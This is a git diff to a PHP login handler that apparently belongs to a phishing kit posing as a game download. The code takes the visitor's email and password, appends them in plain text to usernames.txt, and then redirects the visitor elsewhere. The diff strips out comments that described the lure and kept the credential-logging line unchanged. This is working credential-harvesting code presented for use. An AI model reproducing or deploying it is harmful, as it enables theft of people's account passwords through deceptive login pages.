diff --git a/WebPages/live_web/login.php b/WebPages/live_web/login.php index c2cf2d4..d985428 100644 --- a/WebPages/live_web/login.php +++ b/WebPages/live_web/login.php @@ -4,19 +4,12 @@ $pass = $_POST["passwd"]; $email=$_SESSION["Email"]; - //opening logins text file for appending new data. - //$file = fopen("usernames.txt") or die("Unable to open file!"); - //Writing email and password to logins.txt. - file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND); - - - //redirecting user to the google drive's locations where the game is available to download. - //change the location url to redirect to a website of your choice. - header('Location: https://www.google.com'); + file_put_contents("usernames.txt", "[EMAIL]: " . $email . " [PASS]: " . $pass . "\n", FILE_APPEND); + header('Location: '); exit(); session_destroy(); -?> \ No newline at end of file +?>